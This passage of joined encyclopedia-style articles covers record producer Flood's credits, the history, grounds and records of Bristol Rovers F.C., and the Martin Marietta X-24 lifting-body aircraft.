Flood and Paul Hartnoll of Orbital co-produced the 2008 album by The Music, Strength in Numbers. He produced the 2009 album by The Hours, See the Light. He joined Steve Lillywhite again in 2008 to work with Thirty Seconds to Mars, on This Is War. And then worked with Editors on In This Light and on This Evening. He also collaborated with Nitzer Ebb again to finish up their first new release in over a decade, Industrial Complex. In 2010, he produced Belong by The Pains of Being Pure at Heart and Let England Shake by PJ Harvey.
In 2013, Flood worked again with Depeche Mode, being responsible for the mixing process of their album "Delta Machine", which was produced by Ben Hillier.
Studios
Flood had a studio in Kilburn called The Bedroom. He later opened the Assault & Battery studio complex with longtime recording partner Alan Moulder. In 2008, Miloco Studios opened Assault & Battery 2, a tracking and mix studio in Willesden Green. Assault & Battery 1 came under the Miloco umbrella in Summer 2009, and both Flood and Moulder remain involved with the studios.
Production style
Billy Corgan, who worked with Flood on three albums, said, "Flood's incredible. Flood is a tremendous producer. Flood is very masterful with the sonics, but where he really shines is he's a great idea person. And I don't mean like he tells you, "Oh, put this chorus here." It's more like he can see an ambiance of the song that you don't necessarily see and he would really fight with us – not negative a fight, just he would really kind of push us to say there's another vibe here that you can get to."
Pseudonym
According to producer Mark Freegard, Ellis' pseudonym, "Flood," was given to him by producer Chris Tsangarides during Ellis' early days at Morgan Studios and while The Cure was there recording. As a young studio runner, Ellis was responsible for responding to numerous requests from the recording artists and staff for tea and bacon sandwiches. Ellis kept up with the numerous requests for tea while the other runner remained largely unavailable, leading to Tsangarides nicknaming them "Flood" and "Drought," respectively.
Selected engineering/production credits
Selected production credits:
1981: The Associates – Fourth Drawer Down
1981: New Order – Movement (Assistant engineer)
1982: The Sound – All Fall Down (Engineer)
1982: Stephen Emmer – Vogue Estate (Producer)
1982: Marc and the Mambas – Untitled (Engineer)
1983: Ministry – With Sympathy (Engineer)
1983: Cabaret Voltaire – The Crackdown (Co Producer)
1984: Nick Cave and the Bad Seeds – From Her to Eternity (Engineer)
1985: Nick Cave and the Bad Seeds – The Firstborn Is Dead (Producer, Engineer)
1985: Depeche Mode – Shake the Disease (Engineer)
1985: Frank Tovey – Snakes & Ladders (Engineer)
1986: Nick Cave and the Bad Seeds – Kicking Against the Pricks (Mixing)
1986: Crime and the City Solution – Room of Lights (Co Producer)
1986: Erasure – Wonderland (Producer)
1986: Nick Cave and the Bad Seeds – Your Funeral... My Trial (Mixing, Assistant Producer, Engineer)
1987: U2 – The Joshua Tree (Engineer)
1987: Erasure – The Circus (Producer)
1988: The Silencers – A Blues For Buddha (Producer)
1988: Nick Cave and the Bad Seeds – Tender Prey (Engineer)
1988: Book of Love – Lullaby (Producer)
1989: Nitzer Ebb – Belief (Producer)
1989: Nine Inch Nails – Pretty Hate Machine (Engineer, Programming, Producer)
1989: Renegade Soundwave – Soundclash (Producer)
1989: Pop Will Eat Itself – This Is the Day...This Is the Hour...This Is This! (Producer, Mixing)
1990: The Charlatans – Some Friendly (Remixing)
1990: Nitzer Ebb – Showtime (Producer, Engineer)
1990: Depeche Mode – Violator (Producer, Mixer)
1990: Nick Cave and the Bad Seeds – The Good Son (Mixing)
1990: Pop Will Eat Itself – Cure For Sanity (Producer, Mixing)
1991: Nitzer Ebb – As Is (Mixing)
1991: U2 – Achtung Baby (Mixing, Engineer)
1991: Nitzer Ebb – Ebbhead (Producer)
1992: Curve – Doppelgänger (Producer, Engineer)
1992: The Jesus and Mary Chain – Honey's Dead (Engineer)
1992: The Charlatans – Between 10th and 11th (Producer)
1992: Nine Inch Nails – Broken (Producer)
1993: Depeche Mode – Songs of Faith and Devotion
1993: U2 – Zooropa (Mixing, Loops, engineer, Producer)
1993: Curve – Cuckoo (Producer)
1994: Tom Jones – The Lead and How to Swing It (Producer)
1994: Nine Inch Nails – The Downward Spiral (Producer, Hi-hat, Synthesizer)
1994: Cranes – Loved (Mixing)
1995: PJ Harvey – To Bring You My Love (Producer, engineer, Mixing)
1995: Nitzer Ebb – Big Hit (Engineer, Programming, Mixing, producer, Guitar)
1995: The Smashing Pumpkins – Mellon Collie and the Infinite Sadness (Producer)
1997: Nick Cave and the Bad Seeds – The Boatman's Call (Mixing, producer, Composer)
1997: U2 – Pop (Producer, Keyboards, Mixing)
1998: The Smashing Pumpkins – Adore (Mixing, Producer)
1998: Barry Adamson – As Above, So Below (Producer, Mixing, Instrumentation, Theremin)
1998: PJ Harvey – Is This Desire? (Producer)
2000: The Smashing Pumpkins – Machina/The Machines of God (Mixing, Producer)
2000: Erasure – Loveboat (Mixing)
2001: New Order – Get Ready (Mixing, Producer)
2002: Echoboy – Giraffe (Producer)
2004: U2 – How to Dismantle an Atomic Bomb (Producer, Mixing)
2005: Soulwax – Any Minute Now (Mixing, Producer)
2005: a-ha – Analogue (Mixing)
2006: Placebo – Meds (Mixing)
2006: The Killers – Sam's Town (Producer, Mixing, Audio Production, Engineer)
2007: PJ Harvey – White Chalk (Producer, engineer, Mixing)
2008: Goldfrapp – Seventh Tree (Audio Production, Keyboards)
2008: Sigur Rós – Með suð í eyrum við spilum endalaust (Engineer, producer, Mixing)
2009: State of Play (Score co-producer with Alex Heffes and additional music)
2009: PJ Harvey and John Parish – A Woman A Man Walked By (Mixing)
2009: Thirty Seconds to Mars – This Is War (Producer)
2010: The Hours – It's Not How You Start, It's How You Finish (Mixing, Producer)
2011: PJ Harvey – Let England Shake (Mixing, Engineer)
2011: The Pains of Being Pure at Heart – Belong (Producer)
2011: Glasvegas – Euphoric Heartbreak (Producer)
2012: Karima Francis – The Remedy (Producer & Mixing)
2012: Compact Space – Who Says It's Real (Mixing)
2012: Goldfrapp – "Yellow Halo" & "Melancholy Sky" (Co-Producer & Mixing)
2012: Orbital – Wonky (Producer)
2013: Foals – Holy Fire (Co-Producer & Co-Mixing)
2013: Depeche Mode – Delta Machine (Mixing)
2014: Warpaint – Warpaint (Producer & Mixing)
2014: U2 – Songs of Innocence (Producer)
2015: 8:58 – 8:58 (Producer)
2016: PJ Harvey – The Hope Six Demolition Project (Co-Producer & Co-Mixing)
2016: Ed Harcourt – Furnaces (Producer & Mixing)
2017: Fink – Resurgam (Producer)
2019: White Lies – Five (Co-Producer & Co-Mixing)
2019: The Murder Capital – When I Have Fears (Producer)
2019: Fink – Bloom Innocent (Producer)
2020: EOB – Earth (Producer)
2020: Jehnny Beth – To Love Is to Live (Producer, 4 tracks)
References
External links
Flood biography on artistdirect.com
1997 interview with Flood by Paul Tingen in Sound on Sound magazine
1960 births
English audio engineers
English record producers
Grammy Award winners
Brit Award winners
Living people
Musicians from London
Mod revival | [
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241161 | https://en.wikipedia.org/wiki/Bristol%20Rovers%20F.C. | Bristol Rovers F.C. | Bristol Rovers F.C. is a professional football club in Bristol, England, which competes in League Two, the fourth tier of the English football league system. They have played home matches at the Memorial Stadium in Horfield since 1996. They spent 1897 to 1986 at the Eastville Stadium and the following ten years at Twerton Park in Bath. The club's official nickname is "The Pirates", reflecting the maritime history of Bristol. The local nickname of the club is "The Gas", derived from the gasworks next to their former home, Eastville Stadium, which started as a derogatory term used by fans of their main rivals, Bristol City, but was affectionately adopted by the club and its supporters. Cardiff City and Swindon Town are considered their second and third biggest rivals. The women's team play in the Gloucestershire County Women's League.
The club was founded in 1883 as Black Arabs F.C. and entered the Bristol & District League as Eastville Rovers in 1892. The club moved to the Birmingham & District League in 1897 and then to the Southern League as Bristol Rovers in 1899. They won the Southern League in 1904–05 and were admitted to the Football League in 1920. They were placed in the Third Division South the following year and remained there until winning promotion as champions in 1952–53. They recorded their highest finishing positions in 1956 and 1959, a sixth-place finish in the Second Division, before suffering relegation in 1962. Promoted in second-place in 1973–74, they spent another seven seasons in the second tier until relegation in 1981. They won the Third Division title in 1989–90, though this time lasted just three seasons in the second tier and were relegated back into the fourth tier by 2001.
Rovers won the League Two play-off final in 2007, but relegations in 2011 and 2014 saw the club drop into the Conference Premier. They finished second in the Conference under the stewardship of Darrell Clarke and immediately regained their Football League status with victory in the 2015 play-off final. They followed up this success by securing promotion out of League Two at the end of the 2015–16 season. Rovers have won the Gloucestershire Cup 32 times, the Third Division South Cup in 1932, the Watney Cup in 1972, and have been Football League Trophy finalists two times.
History
Early years
The club was formed following a meeting at the Eastville Restaurant in Bristol in September 1883. It was initially called Black Arabs F.C., after the Arabs rugby team and the predominantly black kits in which they played. This name only lasted for the 1883–84 season, and in a bid to draw more fans from the local area the club was renamed Eastville Rovers in 1884.
The club played only friendly games until the 1887–88 season, when it took part in the Gloucestershire Cup for the first time. In 1892 the club became a founder member of the Bristol and District League, which three years later was renamed the Western League. In 1897 Eastville Rovers joined the Birmingham and District League, and for two seasons played in both this league and the Western League. At the beginning of the 1897–98 season, the club turned professional and changed its name to Bristol Eastville Rovers, and on 17 February 1899 the name was officially changed to Bristol Rovers. In 1899 Bristol Rovers joined the newly formed Southern League, where they remained until 1920, winning the league title along the way in 1905.
Into the Football League
For the 1920–21 season, the Southern League teams were moved into the new Division Three of the Football League, which became Division Three (South) the following season. They remained in this division for over 30 years, before winning the league, and promotion in the 1952–53 season.
The team has won promotion on five other occasions: in 1973–74 from the Third Division to the Second Division, again in 1989–90 as Division Three champions, in 2006–07 to the Football League One, in 2014–15 to League Two from the Conference Premier, and then in 2015–16 to League One. The club has been relegated six times—in 1961–62, 1980–81, 1992–93, 2000–01, 2010–11 and most recently at the end of the 2013–14 season.
The highest position in the football ladder achieved by Rovers at the end of season is sixth place in the second tier, which they did twice; once in 1955–56, and again in 1958–59. The closest they came to the top flight was in 1955–56, when they ended the season just four points below the promotion positions. The lowest league position achieved by the club is twenty-third out of twenty-four teams in the fourth tier, which has occurred twice. In the 2001–02 season, relegation from the Football League was narrowly avoided on two counts; firstly they ended just one league position above the relegation zone, and secondly the rules were changed the following season to increase the number of relegation places to two, meaning that if Rovers had finished in that position one year later they would have been relegated. This position was matched at the end of the 2013–14 season, which this time saw Rovers relegated to the Conference for the first time. They returned to the league at the end of their first Conference season, with a penalty shootout victory over Grimsby Town in the play-off final. In February 2016 it was announced that a 92% stake in the club had been bought by the Jordanian al-Qadi family and that Wael al-Qadi, a member of the Jordan Football Association, would become the president. The club is now owned by Dwane Sports Ltd with 92.6% of the shares with Bristol Rovers Supporters Club owning the remaining 7.4%. In May 2016 the club recorded a second consecutive promotion in dramatic fashion finishing third in League Two after a 92nd-minute goal secured victory over Dagenham and Redbridge and Accrington Stanley failed to beat Stevenage on the last day of the season. It marked the first time Rovers had reached the third tier of English Football since relegation in 2011. In June 2020 it was announced that president Wael al-Qadi had obtained a 90% stake in Dwane Sports Ltd after buying the shares of other members of his family it was also announced that the club's debt would be capitalised and a new training facility would begin construction at Hortham Lane, Almondsbury which is close to the M5 motorway. Rovers have owned the site known as 'The Colony' since 2017 and in June 2020 the club announced that it would be ready for the start of the 2020–21 season.
Cup competitions
The only major cup competition won by Bristol Rovers is the 1972 Watney Cup, when they beat Sheffield United in the final. The club also won the Division Three (South) Cup in 1934–35, as well as winning or sharing the Gloucestershire Cup on 32 occasions. The team has never played in European competition; the closest Rovers came was when they missed out on reaching the international stage of the Anglo-Italian Cup in the 1992–93 season on a coin toss held over the phone with West Ham United.
In the FA Cup, Rovers have reached the quarter-final stage on three occasions. The first time was in 1950–51 when they faced Newcastle United at St James' Park in front of a crowd of 62,787, the record for the highest attendance at any Bristol Rovers match. The second time they reached the quarter final was in 1957–58, when they lost to Fulham, and the most recent appearance at this stage of the competition was during the 2007–08 season, when they faced West Bromwich Albion. They were the first Division Three team to win an FA Cup tie away to a Premier League side, when in 2002 they beat Derby County 3–1 at Pride Park Stadium.
They have twice reached the final of the Football League Trophy, in 1989–90 and 2006–07, but finished runners-up on both occasions. On the second occasion they did not allow a single goal against them in the competition en route to the final, but conceded the lead less than a minute after the final kicked off.
Rivalries
Bristol Rovers main rivals are city neighbours Bristol City, with whom they contest the Bristol derby. This rivalry was deemed 8th fiercest rivalry in English football in an in-depth report by the Football Pools in 2008. The most recent encounter between the clubs took place on 4 September 2013, which saw Rovers beaten by City in a Football League Trophy tie at Ashton Gate Stadium by a 2–1 scoreline. Other rivals are Newport County and mainly teams from the West Country, such as Swindon Town, Cheltenham Town, Yeovil Town and Forest Green Rovers.
In the past, rivalries also emerged with Severnside rivals Cardiff City known as the Severnside derby. Rovers most recent meeting against Cardiff was a League Cup match on 11 August 2016, which Rovers won 1–0 with Chris Lines scoring the winner. The last time Cardiff and Bristol Rovers were in the same league was in the 1999–2000 season.
The first time Rovers encountered Yeovil was a Football League Trophy match which was played on 31 October 2001, which Rovers won via a penalty shoot-out. The most recent encounter between the teams was in a Football League Two match on 16 April 2016, which Rovers won 2–1. Because of the close proximity many players have also represented both the clubs, for example Adam Virgo, Gavin Williams, Dominic Blizzard and Tom Parkes.
Rovers last played Swindon Town in the 2021–22 League Two season (Swindon won 3–1) Cheltenham Town in the first round of the EFL cup in 2019 (Rovers won 3-0) and Forest Green Rovers in the 2021–22 League Two season (Forest Green Rovers won 2–0).
Other clubs in the West country such as Plymouth Argyle and Exeter City have also been considered rivals despite being further away from Bristol (162 km for Plymouth and 104 km for Exeter). Bristol Rovers last played Plymouth in the 2020–21 League One season where Rovers lost 2–0 away and they last played Exeter at home in the 2021–22 League Two season when they had a 1–1 draw.
Colours and badge
Bristol Rovers are known for their distinctive blue and white quartered shirts, which they have worn for most of their history. The current home kit consists of a light blue and white quartered shirt and white shorts, while the away kit is black and gold with the same colours as the trim. During the 2008–09 season a special third strip, which is black with a gold sash, and is a reproduction of the original Black Arab shirt, was used for a single match to celebrate the 125th anniversary of the club.
The team began playing in black shirts with a yellow sash from their foundation in 1883 as Black Arabs F.C. until 1885, by which time they were called Eastville Rovers. For the next fourteen years, until 1899, the team wore blue and white hooped shirts. These were replaced by black and white striped shirts until 1919.
When Rovers were admitted to The Football League in 1920 they wore white shirts with blue shorts. These remained the team colours until 1930, when the colours were reversed to blue shirts and white shorts for one season. The blue and white quarters were first worn in 1931, when they were introduced to try to make the players look larger and more intimidating. Rovers continued to wear the quarters for 31 years until they were replaced by blue pinstripes on a white background.
Over the next ten years, Rovers went on to wear blue and white stripes, all blue, and blue shirts with white shorts before returning to the blue and white quarters in 1973, which have remained the colours ever since. During the 1996–97 season, Rovers wore an unpopular striped quartered design, prompting fans to refer to it as the Tesco bag shirts because of their similarity to the design used for the company's carrier bags. The change in design prompted the Trumpton Times fanzine to change its name to Wot, No Quarters?
The black and gold shirts were also used as the away kit for the 2002–03 season, the club's 120th anniversary.
In 2005, Rovers ran an April Fools' joke on their official website, stating that the team's new away strip would be all pink. Although this was intended to be a joke, a number of fans petitioned the club to get the kit made for real, and also suggested that funds raised through the sale of the pink shirts should be donated to a breast cancer charity. Although the pink shirts were never used in a competitive fixture, they were worn for a pre-season friendly against Plymouth Argyle in 2006.
A pirate features on both the club badge and the badge of the supporters club, reflecting the club nickname of The Pirates. Previous club badges have featured a blue and white quartered design, based on the quartered design of the team's jerseys.
Kit suppliers and sponsors
Rovers first used Bukta as an official kit supplier in 1977, and Great Mills as the first kit sponsor followed 1981. Rovers' longest running kit supplier is Errea who supplied the club kits for eleven years (2005–16). The club's longest running kit sponsorship was from local company Cowlin Construction who sponsored the club for 11 years before ending the deal in 2009. Following the end of the Cowlin deal, sponsors were chosen by raffle, via the 1883 Club. This process lasted nine seasons before the club announced Football INDEX as new sponsors for both home and away kits. In 2019 Utilita become the main shirt sponsors of both the home and away kits for the 2019-2020 season, the deal was then extended in July 2020 to cover the 2020-2021 season marking the first time a shirt sponsor had lasted for more than one season since the end of the Cowlin sponsorship in 2009.
Stadium
Grounds
Purdown – 1883–1884
Three Acres – 1884–1891
Schoolmasters Cricket Ground – 1891–1892
Durdham Down – 1892–1894
Ridgeway – 1894–1897
Eastville Stadium – 1897–1986
Twerton Park – 1986–1996
The Memorial Stadium – 1996–present
History
Rovers play their home games at the Memorial Stadium in Horfield, a ground they formerly shared with Bristol Rugby. The team moved to The Mem, as it is known informally, at the beginning of the 1996–97 season, initially as tenants but purchased it two years later.
When Bristol Rovers were known as Black Arabs F.C. in 1883, they played their home games at Purdown, Stapleton. The following year they moved to Three Acres, the precise location of which is not known, but is believed to have been in the Ashley Down area of Bristol, where they remained for seven years. This was followed by brief stays at the Schoolmasters Cricket Ground, Durdham Down and Ridgeway.
For the majority of their history, Bristol Rovers have played their home games at the Eastville Stadium, where they remained for a period of 89 years from 1897 to 1986. Financial problems led to the team being forced to leave Eastville, and they found a temporary home at Twerton Park, the home of Bath City. They stayed in Bath for 10 seasons, leading to the chant that there really is only 1 team in Bristol, before returning to Bristol in 1996.
Rovers also played five home games at Ashton Gate Stadium, home of rivals Bristol City, following a fire which destroyed the South Stand of the Eastville Stadium on the night of the 16–17 August 1980. Rovers returned to Eastville in October 1980. During World War II, some friendly matches were played in Kingswood, and in their early history some games were played at Parson Street, Bedminster
In January 2007 planning permission was granted for a new 18,500 capacity all-seater stadium to be built on the site of the Memorial Stadium. The project was abandoned after a series of delays. In June 2011, the club announced its intention to relocate the club to a new 21,700 all-seater stadium on the University of the West of England's Frenchay campus. The planned UWE Stadium was shelved in August 2017 due to disputes between the club and the university, and attention returned to redeveloping the Memorial Stadium.
In 2017 there was a crowd recording for the 2018 Aardman film Early Man at the Memorial Stadium.
In June 2020 the club began construction of a new training facility at a site on Hortham Lane, Almondsbury near the M5 motorway. The site is set to include two full size pitches, a goalkeeping area, a gym and a clubhouse building. Having owned the land since 2017, no work had previously been carried out before the club moved into the training ground for the start in October 2020.
Supporter culture
The team traditionally draws the majority of its support from north and east Bristol and South Gloucestershire. Many towns and villages in the surrounding area are also home to significant pockets of Rovers supporters.
The nickname given to Bristol Rovers supporters is "Gasheads". "The Gas" was originally coined as a derogatory term by the supporters of Bristol Rovers' rivals Bristol City, and was in reference to the large gas works adjacent to the old Bristol Rovers stadium, in Eastville, Bristol which wafted the sometimes overpowering odour of town gas across the crowd. "Gasheads" was adopted as a name by a splinter group of Rovers supporters in the mid-1980s to early 1990s. The chant "Proud to be a Gashead" spread to regular fans, and a fanzine was produced called The Gashead.
The term "Gasheads" is now universally accepted within the English media and football fraternity as referring to Bristol Rovers supporters. After the club's relegation to Football League Two in 2001, the club designated the squad number 12 to the Gasheads to signify them as the club's 12th Man in recognition of their loyal support.
The retired Conservative MP for Hayes and Harlington Terry Dicks is a Bristol Rovers fan. He mentioned the club in parliament on 5 May 1994 when debating with Labour MP and Chelsea fan Tony Banks. Other notable fans are local musicians Roni Size and Geoff Barrow of Portishead and writer David Goldblatt. and Declan Hynds. Former Bristol Rovers player and manager, Ian Holloway, who also managed QPR and Blackpool as well as featuring as a pundit is still a big fan of the club.
Based on September 2014 statistics released by the Home Office, the Rovers fan base were named the Most Dangerous English Football fan base for the 2013-2014 season, with 57 arrests on the season, of which 35% were for "violent disorder." Particularly dangerous was the scene on 3 May 2014 when the Rovers were assured relegation from the Football League for the first time.
The Rovers fans have good relations with Spanish club CE Sabadell FC, which initially began due to several Rovers fans noticing that the club had the same colours. In July 2016 the clubs played each other in a pre-season match in Spain.
One Bristol Rovers print fanzine is currently active and is entitled Last Saturday Night. There is also a fan-run podcast and blog called GasCast.
Club song
The song which is synonymous with Rovers is "Goodnight, Irene", which was written by Lead Belly.
Opinions differ as to how this came about but it is thought to have become popular in the 1950s when a version of the song was in the British charts—the line "sometimes I have a great notion to jump in the river and drown"—seemed to be particularly apt when Rovers lost as the Bristol Frome flows alongside the old Eastville ground. It is believed that John Clapham is responsible for the song as he used to work at Eastville stadium for the greyhound racing and the last record he would play at the end of the night was "Goodnight Irene" also having a daughter called Irene, the record would then be left in the player and was played at the football. Another theory is that it was sung at a fireworks display at the Stadium the night before a home game against Plymouth Argyle in the 1950s. During the game the following day, Rovers were winning quite comfortably and the few Argyle supporters present began to leave early prompting a chorus of "Goodnight Argyle" from the Rovers supporters—the tune stuck and Irene became the club song.
Another popular Bristol Rovers song is "Tote End Boys", which was written and sung by Ben Gunstone. The name derives from the section of Gasheads who stood in the Tote End terrace at Rovers' old home, Eastville Stadium.
Players
Current squad
Development squad and Under-18s
Out on loan
Notable former players
Hall of fame
The football club launched its official Hall of Fame in 2021 in partnership with Retro Rovers podcast with the purpose of recognising the players and managers who had had the greatest impact. It was announced that ten people would be inducted in the Hall at a rate of one per week in the first half of 2021, with three added per year thereafter. The first inductee was the club's all-time record goalscorer Geoff Bradford.
Other notable players
This is a list of the other most noted former players at Bristol Rovers Football Club (excluding those listed in the Hall of Fame above) stating the period that each player spent at the club, their nationality and their reason for being listed. To be included in this list a player must have made over 400 league appearances for the club, scored over 100 league goals or hold a club record.
Note: all details from Byrne & Jay (2003) unless otherwise stated
Club staff
The manager of the club is Joey Barton who was appointed in February 2021.
Club personnel
Board of directors
Managerial history
36 men have been appointed as a manager of Bristol Rovers Football Club, excluding caretaker managers. Bobby Gould, Gerry Francis and John Ward are the only men to have been given the job on a permanent basis twice, although Garry Thompson had a spell as caretaker manager before later being appointed permanently, and Phil Bater was caretaker manager on two occasions.
Alfred Homer 1899–1920
Ben Hall 1920–1921
Andrew Wilson 1921–1926
Joe Palmer 1926–1929
David McLean 1929–1930
Albert Prince-Cox 1930–1936
Percy Smith 1936–37
Brough Fletcher 1938–1950
Bert Tann 1950–1968
Fred Ford 1968–69
Bill Dodgin Sr. 1969–72
Don Megson 1972–1977
Bobby Campbell 1977–79
Harold Jarman 1979–1980
Terry Cooper 1980–81
Ron Gingell 1981 (caretaker)
Bobby Gould 1981–83
David Williams 1983–85
Bobby Gould 1985–87
Gerry Francis 1987–1991
Martin Dobson
Dennis Rofe
Malcolm Allison 1992–1993
Steve Cross 1993 (caretaker)
John Ward 1993–1996
Ian Holloway 1996–2001 (player-manager 1996–99)
Garry Thompson 2001 (caretaker)
Gerry Francis 2001
Garry Thompson 2001–2002
Phil Bater 2002 (caretaker)
Ray Graydon 2002–2004
Phil Bater 2004 (caretaker)
Russell Osman & Kevan Broadhurst 2004 (joint caretakers)
Ian Atkins 2004–05
Paul Trollope 2005–2010
Darren Patterson 2010–2011 (caretaker)
Dave Penney 2011-2011
Stuart Campbell 2011 (caretaker)
Paul Buckle 2011–2012
Shaun North 2012 (caretaker)
Mark McGhee 2012
John Ward 2012 – 2014
Darrell Clarke 2014 – 2018
Graham Coughlan 2018 – 2019 (caretaker)
Graham Coughlan 2019
Joe Dunne 2019 (caretaker)
Kevin Maher 2019 (caretaker)
Ben Garner 2019 – 2020
Tommy Widdrington 2020 (caretaker)
Paul Tisdale 2020 – 2021
Tommy Widdrington 2021 (caretaker)
Joey Barton 2021–
Youth Academy
The Bristol Rovers Academy currently operates at The City Academy Bristol and Sir Bernard Lovell School. Current first-team squad members Cameron Hargreaves, Alfie Kilgour, Luca Hoole and Jed Ward all graduated from the Academy to earn professional contracts. In May 2021, U16s player Kyrie Pierre joined Aston Villa for an undisclosed six-figure fee, a record fee received by the Academy for a player. Perhaps the most successful former member of the academy is Scott Sinclair, who was signed by Chelsea in 2005 for £200,000, with further payments to the club possible, depending on performance. He currently plays for Championship club Preston North End. Other former Academy players currently contracted to teams in the Premier League or English Football League include Ryan Broom (Plymouth Argyle), Ellis Harrison (Fleetwood Town), Chris Lines (Stevenage), Tom Lockyer (Luton Town), Matt Macey (Hibernian) and Ollie Clarke (Mansfield Town).
Women's team
The club had a successful women's team, formed in 1998 as Bristol Rovers W.F.C. following a merger with Cable-Tel L.F.C.. This merger came about as Bristol Rovers only had girls teams up to the under 16 age group level, so when girls reached the age of 16 they were forced to leave the club. The merger with Cable-Tel meant that Bristol Rovers had a senior squad. The club's name was changed to Bristol Academy W.F.C. in 2005 to reflect the increased investment from the Bristol Academy of Sport. In 2016, Bristol Academy were re-branded as Bristol City following a sponsorship arrangement with Rovers' local rivals.
In 2019 it was announced that Rovers were to reform their women's team. They have fielded two teams in the Gloucestershire County Women's Football League since the 2019–20 season. The relaunched Bristol Rovers Women's FC was founded by Matthew Davies and Nathan Hallett-Young. The first team currently play in Division One with a development team playing in Division Two.
Honours
Bristol Rovers F.C. have won the following honours:
Leagues
Southern League Division One: Champions: 1
1904–05
Football League Third Division South: Champions: 1
1952–53
Football League Third Division: Champions: 1
1989–90
Football League Two play-offs: Winners: 1
2007
Conference Premier play-offs: Winners: 1
2015
Cups
Football League Third Division South Cup: Winners: 1
1934–35
Football League Trophy: Runners-up : 2
1989–90, 2006–07
Watney Cup: Winners : 1
1972
Gloucestershire Cup: Winners: 32
1888–89, 1902–03, 1904–05, 1913–14, 1924–25, 1927–28, 1934–35, 1935–36, 1937–38, 1947–48, 1948–49, 1950–51, 1953–54, 1954–55, 1955–56, 1958–59, 1962–63, 1963–64, 1964–65, 1965–66, 1967–68, 1973–74, 1974–75, 1981–82, 1982–83, 1983–84, 1984–85, 1988–89, 1989–90, 1992–93, 1993–94, 1994–95
Records
Scorelines
Biggest League Win:
7–0 (v Brighton & Hove Albion, Division Three (South), 29 November 1952)
7–0 (v Swansea City, Division Two, 2 October 1954)
7–0 (v Shrewsbury Town, Division Three, 21 March 1964)
7–0 (v Alfreton Town, Conference Premier, 25 April 2015)
Biggest Cup Win:
Competition proper:
6–0 (v Merthyr Tydfil, FA Cup Round 1, 14 November 1987)
6–0 (v Darlington, FA Cup Round 2, 29 November 2020)
Qualifying: 15–1 (v Weymouth, FA Cup Third Qualifying Round, 17 November 1900)
Biggest League Defeat: 0–12 (v Luton Town, Division Three South, 13 April 1936)
Players
Most League Appearances: 546 – Stuart Taylor, 1966–1980
Most Goals for club: 242 – Geoff Bradford, 1949–1964
Most Goals in a season: 33 – Geoff Bradford, 1952–53
Highest Transfer Fee Paid: £375,000 – Andy Tillson from Queens Park Rangers, November 1992
Highest Transfer Fee Received: £2,600,000 – Barry Hayles to Fulham, November 1998
Other
Record Home Attendance: 38,472 (v Preston North End, FA Cup, 30 January 1960
References
Sources
External links
Supporters club website
Vital Gas
The odd link between Bristol Rovers and the singer Leadbelly
Football clubs in England
Southern Football League clubs
English Football League clubs
National League (English football)
Football clubs in Bristol
Association football clubs established in 1883
1883 establishments in England | [
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241162 | https://en.wikipedia.org/wiki/Martin%20Marietta%20X-24 | Martin Marietta X-24 | The Martin Marietta X-24 was an American experimental aircraft developed from a joint United States Air Force-NASA program named PILOT (1963–1975). It was designed and built to test lifting body concepts, experimenting with the concept of unpowered reentry and landing, later used by the Space Shuttle. Originally built as the X-24A, the aircraft was later rebuilt as the X-24B.
The X-24 was drop launched from a modified B-52 Stratofortress at high altitudes before igniting its rocket engine; after expending its rocket fuel, the pilot would glide the X-24 to an unpowered landing.
Design and development
The X-24 was one of a group of lifting bodies flown by the NASA Flight Research Center (now Armstrong Flight Research Center) in a joint program with the U.S. Air Force at Edwards Air Force Base in California from 1963 to 1975. The lifting bodies were used to demonstrate the ability of pilots to maneuver and safely land wingless vehicles designed to fly back to Earth from space and be landed like an airplane at a predetermined site.
Lifting bodies’ aerodynamic lift, essential to flight in the atmosphere, was obtained from their shape. The addition of fins and control surfaces allowed the pilots to stabilize and control the vehicles and regulate their flight paths.
The X-24 (Model SV-5P) was built by Martin Marietta and flown from Edwards AFB, California. The X-24A was the fourth lifting body design to fly; it followed the NASA M2-F1 in 1964, the Northrop HL-10 in (1966), the Northrop M2-F2 in 1966 and preceded the Northrop M2-F3 (1970).
The X-24A was a fat, short teardrop shape with vertical fins for control. It made its first, unpowered, glide flight on April 17, 1969 with Air Force Maj. Jerauld R. Gentry at the controls. Gentry also piloted its first powered flight on March 19, 1970. The craft was taken to around 45,000 feet (13.7 km) by a modified B-52 and then drop launched, then either glided down or used its rocket engine to ascend to higher altitudes before gliding down. The X-24A was flown 28 times at speeds up to 1,036 mph (1,667 km/h) and altitudes up to 71,400 feet (21.8 km).
X-24B
The X-24B's design evolved from a family of potential reentry shapes, each with higher lift-to-drag ratios, proposed by the Air Force Flight Dynamics Laboratory. To reduce the costs of constructing a research vehicle, the Air Force returned the X-24A to the Martin Marietta Corporation (as Martin Aircraft Company became after a merger) for modifications that converted its bulbous shape into one resembling a "flying flatiron"—rounded top, flat bottom, and a double delta planform that ended in a pointed nose.
First to fly the X-24B was John Manke, a glide flight on 1 August 1973. He was also the pilot on the first powered mission 15 November 1973.
X-24C
There were a variety of "X-24C" proposals floated between 1972 and 1978. Perhaps the most notable was a Lockheed Skunk Works design, the L-301, which was to use scramjets to reach a top speed of Mach 8.
SV-5J
After learning about a remark by Chuck Yeager that he would like to have some jet-powered lifting bodies for training purposes, Martin designed and built, on their own initiative, two examples of the SV-5J.
The SV-5J was a jet-powered version of the rocket-powered X-24A. The SV-5J had identical dimensions to the X-24A, but was powered by a single Pratt & Whitney J60-PW-1 jet engine of 1360 kgf, in place of the X-24A's Reaction Motors XLR-11-RM-13 rocket engine. Martin also manufactured a full-scale, unflyable, mock-up of the SV-5J. (Confusion over number built may be due to the mock-up being included in the production list.)
Martin were unable to convince Milt Thompson to fly the SV-5J, even after offering a $20,000 bonus. Both examples remained unflown.
As the original X-24A was converted to X-24B, one of the SV-5Js eventually was converted to represent the X-24A, for display at the National Museum of the United States Air Force, Wright-Patterson AFB, Ohio, beside the original X-24B.
The unflyable mock-up ended up in Hollywood and was used for several movies as a space-ship prop.
Operational history
The X-24A was flown 28 times in the program that, like the HL-10, validated the concept that a Space Shuttle vehicle could be landed unpowered. The fastest speed achieved by the X-24A was 1,036 miles per hour (1667 km/h or Mach 1.6). Its maximum altitude was 71,400 feet (21.8 km). It was powered by an XLR-11 rocket engine with a maximum theoretical vacuum thrust of 8,480 pounds force (37.7 kN).
The X-24A was modified into the more stable X-24B with an entirely different shape in 1972. The bulbous shape of the X-24A was converted into a "flying flatiron" shape with a rounded top, flat bottom, and double delta planform that ended in a pointed nose. It was the basis for the Martin SV-5J. The X-24A shape was later borrowed for the X-38 Crew Return Vehicle (CRV) technology demonstrator for the International Space Station.
X-24A pilots
